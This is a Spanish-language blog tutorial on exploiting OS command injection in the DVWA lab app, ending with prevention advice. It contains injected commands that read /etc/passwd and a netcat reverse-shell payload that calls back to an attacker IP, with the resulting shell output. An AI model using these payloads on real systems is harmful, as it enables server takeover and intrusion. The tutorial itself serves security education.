Seguridad Web: explotando la vulnerabilidad Inyección de Comandos para obtener una

shell inversa
Enviado por Edu4rdSHL el Mié, 15/05/2019 - 00:05
Inyección de comandos
La inyección de comandos es una técnica utilizada por los hackers/crackers para
ejecutar comandos del sistema en un servidor, generalmente a través de una
aplicación web o algún tipo de GUI. Esto puede suceder cuando una aplicación
proporciona funcionalidades para el usuario que implican el uso de comandos del
sistema. Cuando la entrada no se limita correctamente, se permite la ejecución de
comandos que originalmente no estaban destinados a ejecutarse.

Dado que la aplicación básicamente actúa como una especie de shell improvisado,
este tipo de ataque puede llevar a consecuencias catastróficas. Dependiendo del
nivel de privilegio que tenga la aplicación, un atacante puede hacer cualquier
cosa, incluso ver archivos de configuración, modificar o eliminar datos, o incluso
obtener un shell o crear una puerta trasera.

Es importante notar la diferencia entre la inyección de código y la inyección de

comandos. En la inyección de código, un atacante inserta el código personalizado
que luego ejecuta la aplicación o el programa, mientras que la inyección de
comandos aprovecha la funcionalidad de la aplicación en la que se ejecutan los
comandos del sistema. Estos conceptos son similares, pero el hecho de que la
inyección de comandos se base en el comportamiento predeterminado de la aplicación
a menudo hace que sea más fácil de explotar.

En este tutorial, utilizaré DVWA, si no sabes qué es DVWA, lee

https://securityhacklabs.net/articulo/creando-un-laboratorio-para-prueb…

· Paso 1: Encontrando el vector de ataque

Podemos comenzar buscando un vector de ataque apropiado para explotar. En este
ejemplo, el sitio tiene una función que nos permite hacer ping a otros dominios o
direcciones IP para probar la conectividad. En realidad, probablemente sea raro
encontrar un ejemplo tan descarado de esto, pero nunca se sabe. Para fines de
demostración, esto funcionará perfectamente.

Aquí es bastante fácil ingresar la dirección localhost (127.0.0.1) para probar

esto. Podemos ver las respuestas de ping, por lo que parece estar funcionando
correctamente.

ping

· Paso 2: Realice pruebas de vulnerabilidades inyectando comandos

A continuación, podemos tratar de inyectar un comando simple para ver si existe una
vulnerabilidad. Este servidor web en particular está ejecutando Linux, pero la
misma técnica se puede aplicar a los servidores de Windows mediante el uso de
comandos de Windows. Podemos agregar un comando usando && (AND), ; (separador) o |
(tubería). Probemos un simple ls primero. La inyección fue exitosa y se muestra el
contenido del directorio actual:

ls

El comando whoami imprimirá el usuario actual:

whoami

Podemos ver el contenido de /etc/passwd añadiendo el comando cat /etc/passwd a la

orden:
cat

Hasta ahora, todos los comandos que hemos ejecutado han sido de bajo impacto,
útiles para recopilar información sobre el servidor pero no mucho más. ¿Qué pasaría
si pudiéramos obtener una shell en el sistema y vulnerarlo por completo? Bueno,
usando la popular herramienta Netcat, podemos hacer eso.

· Bind Shells vs. Reverse Shells

Antes de obtener la shell del sistema, es importante entender las diferencias entre
los dos tipos de shell mencionados.

Una bind shell es una shell de comados que se abre en el sistema víctima,
normalmente en un puerto especifico. En este caso la máquina atacante realiza la
conexión al servidor y puerto especificos para obtener la shell del sistema. Como
contraparte, este tipo de ataques pueden ser fácilmente detectados por un firewall
que bloquee conexiones entrantes, por lo tanto este tipo de shells no son muy
usadas.

Una reverse shell hace todo lo contrario a la anterior. El sistema víctima es quien
realiza la conexión con la máquina atacante que ha sido preparada previamente para
quedar a espera de una conexión. Debido a que establece una conexión saliente, es
más difícil de bloquear para un firewall ya que probablemente no filtre las
conexiones salientes. Esta es la opción preferida al momento de obtener una shell.

· Usando Netcat para obtener la shell

Netcat es una poderosa herramienta de red utilizada para probar conexiones TCP o
UDP. Otras características incluyen depuración, escaneo de puertos, transferencia
de archivos y capacidades de puerta trasera. Podemos usar Netcat para engendrar un
shell inverso en el servidor web, siempre que esté instalado, y volver a conectarlo
a nuestra máquina para tener un control total sobre el sistema.

Primero, usamos el siguiente comando en nuestro sistema local para abrir un puerto
de espera para las conexiones entrantes. El uso de Netcat es nc , el distintivo -l
abre un puerto y -p 1234 le indica que use el puerto 1234, pero cualquier puerto
aleatorio funcionará.

nc -l -p 1234
A continuación, en la utilidad de ping de la aplicación web, agregue el siguiente
comando para generar un shell en el servidor y conectarse de nuevo a nuestra
máquina:

127.0.0.1 && nc 192.168.0.5 1234 -e /bin/sh

La IP 192.168.0.5 debe ser reemplazada por la dirección IP de su equipo, ya sea
local o pública. La opción -e /bin/sh le indica a netcat que debe ejecutar una
shell y enviarla de regreso a nuestro sistema. Ahora podemos ejecutar comandos
tranquilamente desde nuestro terminal.

Para obtener información del usuario, usaremos whoami e id

sechacklabs@SecHackLabs ~ -> nc -l -p 1234

whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Para información del sistema uname -a

sechacklabs@SecHackLabs ~ -> nc -l -p 1234

whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux debian 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64
GNU/Linux
Con el comando ps podemos ver los procesos del sistema:

sechacklabs@SecHackLabs ~ -> nc -l -p 1234

whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux debian 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64
GNU/Linux
ps
PID TTY TIME CMD
1391 ? 00:00:00 apache2
1392 ? 00:00:00 apache2
1393 ? 00:00:00 apache2
1394 ? 00:00:00 apache2
1395 ? 00:00:00 apache2
1398 ? 00:00:00 apache2
1418 ? 00:00:00 apache2
1508 ? 00:00:00 sh
1510 ? 00:00:00 sh
1515 ? 00:00:00 ps
Desde aquí, podemos pivotar a otros sistemas en la red, crear una puerta trasera o
desconectar absolutamente el servidor. Las posibilidades son infinitas ahora que
esencialmente hemos sido dueños del servidor.

· ¿Cómo prevenir la inyección de comandos?

Al igual que muchos ataques que ocurren en la web, especialmente otras técnicas de
inyección, la inyección de comandos se puede prevenir y mitigar con éxito
asegurando que la validación de entrada correcta por parte del usuario sea de total
confianza. Al filtrar ciertos fragmentos y caracteres especiales, o idealmente con
un enfoque de lista blanca, se reduce la probabilidad de un ataque de este tipo.

Las prácticas seguras de codificación y las revisiones de códigos son cada vez más
vitales para el proceso de desarrollo; Limitar lo que se puede explotar desde el
principio es una gran manera de reforzar la postura general de seguridad de una
organización y sus aplicaciones. Así mismo, el uso de API fiables que proporcionan
entradas parametrizadas es siempre una apuesta segura, así como la ejecución de
aplicaciones con los privilegios más bajos posibles.

Sin embargo, en última instancia, lo mejor es omitir por completo la funcionalidad

de los comandos del sistema operativo. En muchos casos, no hay una buena razón para
que una interfaz orientada a la web necesite interactuar con los comandos del
sistema. Al eliminar la vulnerabilidad en primer lugar, esencialmente has derrotado
a un atacante en ese frente.

· Conclusión
Una y otra vez hemos visto cómo una entrada mal validada puede llevar a la
explotación, especialmente cuando se trata de aplicaciones web. La inyección de
comandos se basa en la funcionalidad que implica los comandos del sistema
operativo, generalmente a través de una aplicación web o GUI. Cuando se permite la
ejecución de comandos no deseados en el sistema, un atacante puede ser el
propietario del servidor y obtener un shell, como demostramos con Netcat. Esto solo
muestra cómo implementaciones aparentemente inofensivas pueden verse comprometidas
y explotadas.

Con esto finalizamos este artículo, cualquier duda o inquietud dejarla en los
comentarios. Registrate en el foro, síguenos en Facebook, Twitter, unete a nuestro
chat en Discord y no olvides compartirnos en las redes sociales.

Etiquetas
hacking webSeguridad Informaticadvwa
Acerca del autor

Edu4rdSHL
Especialista en Seguridad Informática bajo certificación OSCP, experto en técnicas
de privacidad y seguridad en la red, analista de criptografía, Fundador de Security
Hack Labs. Desarrollador de BlackArch Linux. Twitter: @edu4rdshl XMPP:
edu4rdshl@conversations.im Threema ID: 736WU8VV

Inicie sesión o registrese para enviar comentarios

Navegación del sitio
Inicio
Foro
Acerca de SHL
Canal en YouTube
Chatea con nosotros
Github
Grupo de Facebook
Página Facebook
Twitter
Búsqueda
Búsqueda
Usuario
Registrarse
Iniciar sesión
Herramientas
Contenido reciente